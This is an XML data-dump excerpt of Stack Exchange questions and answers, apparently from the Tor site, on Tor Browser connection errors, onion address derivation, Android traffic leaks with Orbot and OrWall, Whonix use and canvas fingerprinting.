  <row Id="13929" PostTypeId="2" ParentId="13910" CreationDate="2017-02-03T18:41:29.340" Score="-1" Body="&lt;p&gt;use standalone Tor for all the controlport activities: Tor Browser Bundle erases settings including auth ones&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-02-03T18:41:29.340" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13934" PostTypeId="1" CreationDate="2017-02-04T21:36:15.167" Score="1" ViewCount="134" Body="&lt;p&gt;I've searched through the tips/faq and I cannot find an answer. I also have went through pages of google trying to get help on my own.  I have deleted it and reinstalled it a few times, and each time I get Something Went wrong. Tor is not working in this browser. It's on imac. I'm not sure how to fix it, and I cannot seem to find the answers on my own. Please help. Log is below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2/4/17, 21:29:26.100 [NOTICE] Bootstrapped 85%: Finishing handshake with first hop &lt;/p&gt;&#xA;&#xA;&lt;p&gt;2/4/17, 21:29:26.500 [NOTICE] Bootstrapped 90%: Establishing a Tor circuit &lt;/p&gt;&#xA;&#xA;&lt;p&gt;2/4/17, 21:29:27.700 [NOTICE] Tor has successfully opened a circuit. Looks like client functionality is working. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;2/4/17, 21:29:27.700 [NOTICE] Bootstrapped 100%: Done &lt;/p&gt;&#xA;&#xA;&lt;p&gt;2/4/17, 21:29:28.600 [NOTICE] New control connection opened from 127.0.0.1. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;2/4/17, 21:29:28.800 [NOTICE] New control connection opened from 127.0.0.1. &lt;/p&gt;&#xA;" OwnerUserId="16152" LastActivityDate="2017-02-04T21:36:15.167" Title="Something went wrong" Tags="|configuration|network-configuration|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13935" PostTypeId="1" CreationDate="2017-02-04T22:12:29.020" Score="0" ViewCount="160" Body="&lt;p&gt;I want to volunteer to be a Tor Relay,but all the mumbo-jumbo about using two flash drives or a DVD, I just do not seem to get to work! Do they sell a Tor Relay disc? And what are safe emails to use if I have to sign-up on a Tor site, or is this a FBI sting trick? It seems if you use a email it beats the purpose of Tor! Safe email that prides itself in the American dream of &quot;PRIVACY&quot; ? Anyone who can give me some EMail providers to research or welcomed $$$$&lt;/p&gt;&#xA;" OwnerUserId="16154" LastEditorUserId="435" LastEditDate="2017-03-07T22:24:37.000" LastActivityDate="2017-03-07T22:24:37.000" Title="Why would a Tor site need my EMail,does this not defeat the Tor anonymity?" Tags="|tails|windows|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13937" PostTypeId="1" CreationDate="2017-02-04T22:42:57.770" Score="0" ViewCount="134" Body="&lt;p&gt;I'm writing a tool to generate onion addresses but obviously want to make sure the addresses actually work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rather than setting up a hidden service with the keys etc it would be nice to do it quickly or even make my own tool to do it. How can I do this?&lt;/p&gt;&#xA;" OwnerUserId="13747" LastEditorUserId="13747" LastEditDate="2017-02-04T22:56:22.377" LastActivityDate="2017-02-05T03:21:50.520" Title="Is there a mechanism for testing that addresses and private keys match?" Tags="|private-key|address|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13939" PostTypeId="2" ParentId="13937" CreationDate="2017-02-05T00:20:04.963" Score="0" Body="&lt;p&gt;Take a look cat &lt;a href=&quot;https://github.com/lachesis/scallion&quot; rel=&quot;nofollow noreferrer&quot;&gt;Scallion code&lt;/a&gt; - it's already all-set there.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastEditorUserId="9291" LastEditDate="2017-02-05T01:39:59.843" LastActivityDate="2017-02-05T01:39:59.843" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13940" PostTypeId="2" ParentId="13935" CreationDate="2017-02-05T00:21:12.333" Score="1" Body="&lt;p&gt;yes, it defeats your anonymity! Tor site is &lt;em&gt;a site&lt;/em&gt; that works by itself, Tor is &lt;em&gt;just&lt;/em&gt; a transport. All the anonymity precautions for websites are applied&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-02-05T00:21:12.333" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13941" PostTypeId="2" ParentId="13937" CreationDate="2017-02-05T03:21:50.520" Score="1" Body="&lt;p&gt;For any (sane) code, when you generate an RSA key you generate the private key then the public key is derived from it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The onion address is the base32 encoded first 10 bytes of the sha1 sum of the asn1 encoded public key. So the private key derives directly to the public key and the address derives directly from the public key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, to ensure that the address matches, just generate the private key, derive the public key from it, encode the public key into it's asn1 encoding, sha1 hash the whole key, take the first 10 bytes of the sum and encode them into base32, giving you 16 base32 digits.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no guarantee that a given address maps to a private key, since the hashing process loses information (the set of possible public keys is larger than the set of possible 10 byte truncated sha1 values) it's possible that two distinct private keys generate two distinct public keys which happen to share the same first 10 bytes of their hash. There is no one-to-one mapping between the two values, you can ensure that a specific private key maps to a specific address, but not the other way around.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-02-05T03:21:50.520" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13943" PostTypeId="1" AcceptedAnswerId="13947" CreationDate="2017-02-05T09:09:46.540" Score="1" ViewCount="483" Body="&lt;p&gt;Every hidden service I've been to ends .onion, but I haven't any technical explanation as to why that is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've also never found any information regarding whether or not it is possible to host a hidden service with any TLD other than .onion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried changing my hostname file to mysite6dfas3ds65.onion to mysite6dfas3ds65.potato, however it reverts to .onion after restarting tor.&lt;/p&gt;&#xA;" OwnerUserId="16158" LastEditorUserId="16158" LastEditDate="2017-02-05T09:18:17.770" LastActivityDate="2017-02-05T17:38:53.753" Title="Do tor sites have to end in .onion?" Tags="|onion-services|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13945" PostTypeId="1" CreationDate="2017-02-05T15:28:22.733" Score="1" ViewCount="132" Body="&lt;p&gt;Seems like there is no Browser on Whonix-Gateway. I might do not understand the proceedure. I downloaded it on Windows base system. Which directory I have to move it in to run from VM Whonix-Gateway? Should I utilise Whonix-Workstation? I do not have it on VM currently installed. I have no inet/browser on Gateway.&#xA;I can not undesrtand some of termins. What do I do wrong? &lt;/p&gt;&#xA;" OwnerUserId="16161" LastActivityDate="2017-04-08T23:36:32.920" Title="Directory Tor Browser download" Tags="|network-configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13946" PostTypeId="1" AcceptedAnswerId="13950" CreationDate="2017-02-05T17:34:59.570" Score="4" ViewCount="13745" Body="&lt;p&gt;I know the android VPN settings are not reliable - the VPN connection can drop, and certain system processes will ignore the VPN. So &quot;Apps VPN Mode&quot; sounds to me like a nice to have experimental feature for non rooted devices to get past firewalls etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if I have a rooted device, and use Tor Everything (which does not make use of the Android VPN feature), can I be sure that this routes all processes through Tor? And do I still need Apps VPN Mode?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: Is there a situation in which if rooted Orbot can't connect to the internet but is trying, or the phone is sleeping, some other (system) app can end up making its own non-tor connection before Orbot has a chance to take over? Can a different rooted app make a non-Orbot connection without killing the Orbot service first?&lt;/p&gt;&#xA;" OwnerUserId="15880" LastEditorUserId="15880" LastEditDate="2017-02-05T18:20:29.523" LastActivityDate="2017-02-06T02:26:03.110" Title="Orbot &quot;Apps VPN Mode&quot; vs &quot;Tor Everything&quot; on rooted device - which is better?" Tags="|orbot|android|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13947" PostTypeId="2" ParentId="13943" CreationDate="2017-02-05T17:38:53.753" Score="0" Body="&lt;p&gt;dot-onion is a top-level domain that indicates, by the rules of DNS names structure, that &quot;everything inside it&quot; belongs to the same zone. This zone is hooked up by Tor resolver and the resolution goes on there - but not DNS one, it's an internal process for Tor to look up for hidden service descriptor and to make further step to connect you with it. So, yes, it has to be ending with &quot;.onion&quot; in order to be properly handled&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-02-05T17:38:53.753" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13949" PostTypeId="2" ParentId="13946" CreationDate="2017-02-05T23:41:17.397" Score="0" Body="&lt;p&gt;none: if you use a hostapd for your  own software AP and elaborate tcpdump - you'll see that on boot-up there're a leak: so use whatever you want or - for a better security - use a routing middlebox&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-02-05T23:41:17.397" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13950" PostTypeId="2" ParentId="13946" CreationDate="2017-02-06T02:26:03.110" Score="4" Body="&lt;p&gt;You may be interested in reading '&lt;a href=&quot;https://blog.torproject.org/blog/mission-impossible-hardening-android-security-and-privacy&quot; rel=&quot;noreferrer&quot;&gt;Mission Impossible: Hardening Android for Security and Privacy&lt;/a&gt;' and it's update '&lt;a href=&quot;https://blog.torproject.org/blog/mission-improbable-hardening-android-security-and-privacy&quot; rel=&quot;noreferrer&quot;&gt;Mission Improbable: Hardening Android for Security And Privacy&lt;/a&gt;'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To directly answer the question, if &lt;code&gt;iptables&lt;/code&gt; and root access is available, then &quot;Tor Everything&quot; will provide a more complete means of enforcing Tor usage on the device, since it is applied from the linux kernel rather than the userspace portion of the operating system. It's acknowledged that the VPN may leak, it's there as a best effort option for people who do not have root access on their devices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is still a potential for leaks, since Orbot starts up along with the other apps on the system, if one of them beats it to running &lt;code&gt;iptables&lt;/code&gt; then they will connect outside of Tor. To this end, there are further steps you can take.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://orwall.org/&quot; rel=&quot;noreferrer&quot;&gt;OrWall&lt;/a&gt; performs some of the same actions that Orbot does (note: it will &lt;em&gt;conflict&lt;/em&gt; with Orbot trying to &quot;Tor Everything&quot;, use one or the other, not both!), it provides a more granular set of options, allowing you to set a network policy per-app, so you can deny network connectivity entirely, enforce transproxy, allow it localhost access or allow it to connect directly without Tor. It also places an &quot;init&quot; script into the android filesystem, which blocks outbound traffic much earlier in the boot process which stops leaks, since before any apps get to start outbound traffic is already disabled, and will only be enabled when OrWall starts later and sets up the users chosen policies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Much of these problems also come from how fragmented the android ecosystem is, there is little to no uniformity in deployed operating system versions, kernel configuration and features and functionality provided in some of the included binary blobs. The android ecosystem is currently not really suitable for high security use outside of very specific cases with known hardware and lots of work put into it (see the &lt;em&gt;Mission Improbable&lt;/em&gt; post and the work of the &lt;a href=&quot;https://copperhead.co/android/&quot; rel=&quot;noreferrer&quot;&gt;&lt;em&gt;Copperhead OS&lt;/em&gt;&lt;/a&gt; team).&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-02-06T02:26:03.110" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13951" PostTypeId="2" ParentId="13945" CreationDate="2017-02-06T02:30:43.987" Score="1" Body="&lt;p&gt;You should not be using the Whonix gateway directly. The purpose of Whonix is to seperate out into two distinct virtual machines: the gateway which provides Tor routing, and the Workstation where normal user activies (Browsing, Instant Messaging, etc) are performed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should be using Workstation image along with the Gateway image. The Gateway is there to enforce Tor usage for the Workstation even if the Workstation were hacked or broken in some other way, to avoid leaks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe that by default none of the Gateway's traffic is Tor enforced in any way. Trying to perform your normal operations from it will be no more secure than using it from any other desktop environment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use the Workstation image to browse.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="435" LastEditDate="2017-03-09T23:21:55.493" LastActivityDate="2017-03-09T23:21:55.493" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13953" PostTypeId="1" CreationDate="2017-02-06T10:50:40.973" Score="0" ViewCount="2015" Body="&lt;p&gt;I'm getting this error and Tor is sticking on 10% then fails with the message&#xA;'Can't connect Tor Network, failed to establish network. Establishing an encrypted directory connection failed (done - 46.4.111.124:9001)'. How can I fix this?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;06/02/2017 10:28:32.100 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;06/02/2017 10:28:32.100 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;06/02/2017 10:28:32.100 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;06/02/2017 10:28:32.100 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;06/02/2017 10:28:32.900 [NOTICE] Bootstrapped 5%: Connecting to directory server &#xA;06/02/2017 10:28:33.000 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server &#xA;06/02/2017 10:30:03.700 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (DONE; DONE; count 10; recommendation warn; host 7EA6EAD6FD83083C538F44038BBFA077587DD755 at 194.109.206.212:443) &#xA;06/02/2017 10:30:03.700 [WARN] 10 connections have failed: &#xA;06/02/2017 10:30:03.700 [WARN]  10 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;06/02/2017 10:30:09.500 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;06/02/2017 10:30:09.500 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;06/02/2017 10:30:09.500 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;06/02/2017 10:30:09.500 [NOTICE] Delaying directory fetches: DisableNetwork is set. &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="16169" LastEditorUserId="12737" LastEditDate="2017-02-07T20:58:14.690" LastActivityDate="2017-05-09T03:12:39.763" Title="Can't connect Tor Network, failed to establish network. connection failed (done - 46.4.111.124:9001)" Tags="|configuration|" AnswerCount="1" CommentCount="3" ClosedDate="2017-05-09T12:02:06.800" ContentLicense="CC BY-SA 3.0" />
  <row Id="13954" PostTypeId="1" AcceptedAnswerId="13959" CreationDate="2017-02-06T12:45:30.767" Score="0" ViewCount="329" Body="&lt;p&gt;Since it is clear that one does not want canvas fingerprinting, is it possible to set this as the default and avoid the popup?&lt;/p&gt;&#xA;" OwnerUserId="16170" LastActivityDate="2017-02-06T21:10:50.540" Title="Canvas fingerprinting: default to never for all websites" Tags="|fingerprinting|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13955" PostTypeId="2" ParentId="13954" CreationDate="2017-02-06T15:09:10.650" Score="0" Body="&lt;p&gt;By default Tor Browser Bundle does not send your canvas fingerprint (or to be precise sends the same canvas data for all Tor Browser users, so it looks the same) despite the popup. I would argue that the popup should still appear to inform the user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can test this by going to panopticlick.eff.org and comparing your canvas fingerprint with others.&lt;/p&gt;&#xA;" OwnerUserId="16171" LastActivityDate="2017-02-06T15:09:10.650" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13956" PostTypeId="2" ParentId="12119" CreationDate="2017-02-06T15:16:09.210" Score="0" Body="&lt;p&gt;no, the problem is in the phone's startup sequence: it boots up &lt;em&gt;and&lt;/em&gt; brings the devices up first - like any Linux(Android is Linux-based). The only way is to make it work through something else, i.e. the routing middlebox. OrangePi PC or RaspberryPi are perfect fit for it. The only way to fix it &quot;in one device&quot; is to make a physical switch that will be switched off on reboots automatically and after a boot-up and starting it will be manually turned on, powering up the wireless modules and attaching them to the system. And as far as I know the modern board design trends - they're made in the way that makes it nearly-impossible. even if you will manage to make a bga-adapter for the wireless chips - you will have no place to physically place it inside a phone case: you will need at least 1 extra milimeter to place it.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-02-06T15:16:09.210" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13959" PostTypeId="2" ParentId="13954" CreationDate="2017-02-06T21:10:50.540" Score="1" Body="&lt;p&gt;&lt;em&gt;&quot;Since it is clear that one does not want canvas fingerprinting...&quot;&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Actually, it's not. The canvas fingerprinting warning happens when a site tries to read the contents of a &lt;code&gt;&amp;lt;canvas&amp;gt;&lt;/code&gt; element.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the &lt;code&gt;&amp;lt;canvas&amp;gt;&lt;/code&gt; element and it's functionality wasn't designed for fingerprinting, there are infact plenty of legitimate use cases for sites reading the content of a &lt;code&gt;&amp;lt;canvas&amp;gt;&lt;/code&gt; tag. For example, if you update your Twitter avatar it lets you resize the image after uploading it, this is done through a &lt;code&gt;&amp;lt;canvas&amp;gt;&lt;/code&gt; element and to take a copy of the image with the users changes, they need to read the content of the &lt;code&gt;&amp;lt;canvas&amp;gt;&lt;/code&gt; element.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the perspective of possible fingerprinting, it's impossible to determine what purpose it's reading it for, so a generic warning must be given if a site ever tries to read the content of the element. Users will want this popup warning available since most people are totally unaware that canvas fingerprinting exists and that Tor Browser protects against it but there are plenty of reasons they may want to allow a specific site to read from a &lt;code&gt;&amp;lt;canvas&amp;gt;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As such, the pop-up must be used to avoid user frustration at &quot;some site doesn't work with Tor Browser&quot; and the user, instead, opting to not use Tor Browser. There is currently no way to avoid the prompt but if you feel an option to manually remove it through &lt;code&gt;about:config&lt;/code&gt; should be added then you should &lt;a href=&quot;https://trac.torproject.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;open a ticket&lt;/a&gt; to request the feature.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-02-06T21:10:50.540" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13960" PostTypeId="1" CreationDate="2017-02-06T22:50:01.823" Score="1" ViewCount="105" Body="&lt;p&gt;I downloaded tor but I cant connect to the tor network (I'm using kali linux)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is the tor log:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;02/07/2017 00:44:35.200 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;02/07/2017 00:44:35.200 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;02/07/2017 00:44:35.200 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;02/07/2017 00:44:35.200 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;02/07/2017 00:44:35.400 [NOTICE] Bootstrapped 5%: Connecting to directory server &lt;/p&gt;&#xA;&#xA;&lt;p&gt;02/07/2017 00:44:35.500 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server &lt;/p&gt;&#xA;&#xA;&lt;p&gt;02/07/2017 00:45:07.900 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (DONE; DONE; count 10; recommendation warn; host 74A910646BCEEFBCD2E874FC1DC997430F968145 at 199.254.238.52:443) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;02/07/2017 00:45:07.900 [WARN] 10 connections have failed: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;02/07/2017 00:45:07.900 [WARN]  10 connections died in state handshaking &#xA;(TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &lt;/p&gt;&#xA;&#xA;&lt;p&gt;02/07/2017 00:45:54.800 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;02/07/2017 00:45:54.800 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;02/07/2017 00:45:54.800 [NOTICE] Closing old Socks listener on 127.0.0.1:9150&lt;/p&gt;&#xA;&#xA;&lt;p&gt;02/07/2017 00:45:54.800 [NOTICE] Delaying directory fetches: DisableNetwork is set. &lt;/p&gt;&#xA;" OwnerUserId="16180" LastActivityDate="2017-02-06T22:50:01.823" Title="I can't connect to the tor network" Tags="|help|linux|" AnswerCount="0" CommentCount="4" ClosedDate="2017-05-09T11:35:08.483" ContentLicense="CC BY-SA 3.0" />
  <row Id="13961" PostTypeId="2" ParentId="13896" CreationDate="2017-02-07T04:22:48.390" Score="1" Body="&lt;p&gt;There are two apps that are required to access tor with Android. You need the Orbot, a tor proxy, and a browser that is configured to use the socks proxy it creates. Two browser are configured to work with Orbot are orfox and orweb, orfox is newer and based on Firefox and would be my recommendation. I think orweb is available on Fdroid and it might no longer be maintained. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for the VPN, I do not recommend any free VPN for any privacy what so ever!&lt;/p&gt;&#xA;" OwnerUserId="15953" LastActivityDate="2017-02-07T04:22:48.390" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13962" PostTypeId="1" CreationDate="2017-02-07T07:10:32.527" Score="0" ViewCount="839" Body="&lt;pre&gt;&lt;code&gt;2/7/2017 12:19:59 PM.500 [NOTICE] Bootstrapped 85%: Finishing handshake with first hop &#xA;2/7/2017 12:25:07 PM.900 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;2/7/2017 12:25:07 PM.900 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;2/7/2017 12:25:07 PM.900 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;2/7/2017 12:25:08 PM.600 [NOTICE] Delaying directory fetches: DisableNetwork is set. &#xA;2/7/2017 12:25:13 PM.600 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;2/7/2017 12:25:13 PM.600 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;2/7/2017 12:25:13 PM.600 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;2/7/2017 12:25:13 PM.600 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;2/7/2017 12:25:54 PM.500 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;2/7/2017 12:25:54 PM.500 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;2/7/2017 12:25:54 PM.500 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;2/7/2017 12:25:55 PM.400 [NOTICE] Delaying directory fetches: DisableNetwork is set. &#xA;2/7/2017 12:26:37 PM.800 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;2/7/2017 12:26:37 PM.800 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;2/7/2017 12:26:37 PM.800 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;2/7/2017 12:26:37 PM.800 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;2/7/2017 12:26:39 PM.500 [WARN] Problem bootstrapping. Stuck at 85%: Finishing handshake with first hop. (Connection refused [WSAECONNREFUSED ]; CONNECTREFUSED; count 10; recommendation warn; host 2391AC90CC728EA9F20E5CFCA389C1F9FD7B16D2 at 193.24.209.70:443) &#xA;2/7/2017 12:26:39 PM.500 [WARN] 9 connections have failed: &#xA;2/7/2017 12:26:39 PM.500 [WARN]  5 connections died in state handshaking (Tor, v3 handshake) with SSL state SSL negotiation finished successfully in CLOSED &#xA;2/7/2017 12:26:39 PM.500 [WARN]  2 connections died in state handshaking (Tor, v3 handshake) with SSL state SSL negotiation finished successfully in OPEN &#xA;2/7/2017 12:26:39 PM.500 [WARN]  2 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;2/7/2017 12:26:41 PM.200 [WARN] The connection to the HTTP proxy server at 172.16.20.216:8090 just failed. Make sure that the proxy server is up and running. &#xA;2/7/2017 12:26:41 PM.200 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;2/7/2017 12:26:41 PM.200 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;2/7/2017 12:26:41 PM.200 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;2/7/2017 12:26:41 PM.200 [NOTICE] Delaying directory fetches: DisableNetwork is set. &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="16185" LastEditorUserId="9291" LastEditDate="2017-02-12T15:27:27.173" LastActivityDate="2017-04-13T15:45:34.220" Title="I am a newbie to Tor and don't understand coding. I need help with this error log on Tor" Tags="|protocol|" AnswerCount="2" CommentCount="0" ClosedDate="2017-05-09T12:05:08.497" ContentLicense="CC BY-SA 3.0" />
  <row Id="13963" PostTypeId="2" ParentId="13962" CreationDate="2017-02-07T08:45:38.380" Score="0" Body="&lt;p&gt;Try using a tor bridge &lt;a href=&quot;https://www.torproject.org/docs/bridges.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.torproject.org/docs/bridges.html.en&lt;/a&gt;&#xA;Are you using tor browser bundle or installing the tor protocol?&#xA;Also make sure you have the latest version installed.&#xA;&lt;a href=&quot;https://www.torproject.org/download/download-easy.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.torproject.org/download/download-easy.html.en&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16187" LastActivityDate="2017-02-07T08:45:38.380" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13964" PostTypeId="2" ParentId="9611" CreationDate="2017-02-07T09:07:30.957" Score="1" Body="&lt;p&gt;It looks like that is the latest paper on tor design. It will most likely be updated when tor 0.3.x is in a stable build. &lt;a href=&quot;https://blog.torproject.org/blog/tor-0303-alpha-released&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://blog.torproject.org/blog/tor-0303-alpha-released&lt;/a&gt; &#xA;Watch there blog to see new versions released.&lt;/p&gt;&#xA;" OwnerUserId="16187" LastActivityDate="2017-02-07T09:07:30.957" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13966" PostTypeId="1" AcceptedAnswerId="13987" CreationDate="2017-02-07T14:52:28.863" Score="1" ViewCount="8307" Body="&lt;p&gt;&lt;a href=&quot;https://orwall.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Orwall&lt;/a&gt; is a great root app that can make sure all your internet communications on your android phone are reliably routed through Tor via Orbot. And it is presented as one of the must-have apps for privacy and security by for example the &lt;a href=&quot;https://blog.torproject.org/blog/mission-improbable-hardening-android-security-and-privacy&quot; rel=&quot;nofollow noreferrer&quot;&gt;Mission Improbable&lt;/a&gt; article.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Orwall seems to suggest that you should route everything through Orbot. (e.g &lt;a href=&quot;https://orwall.org/screenshots2/application_list.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;this screenshot&lt;/a&gt; which includes Twidere)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know you should probably not log into gmail and other user-identifiable accounts (e.g. twitter) through tor if you also want to be &quot;completely&quot; anonymous through tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But from the point of view of just wanting to be less tracked and exploited by all the people and 3rd party organizations in the world, &lt;strong&gt;is it a good idea or useful to route e.g. the Google services, FB, Twitter through Orwall?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="15880" LastActivityDate="2017-02-09T00:09:56.907" Title="Android: Is it a good idea to Orwall (tor) all apps &amp; services always?" Tags="|orbot|android|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13967" PostTypeId="2" ParentId="1480" CreationDate="2017-02-07T15:09:42.443" Score="0" Body="&lt;p&gt;yes, in a way, found this on www.redit.com. Your mileage may vary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.reddit.com/r/tailswiki/wiki/index/internal-hd-install&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.reddit.com/r/tailswiki/wiki/index/internal-hd-install&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16191" LastActivityDate="2017-02-07T15:09:42.443" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
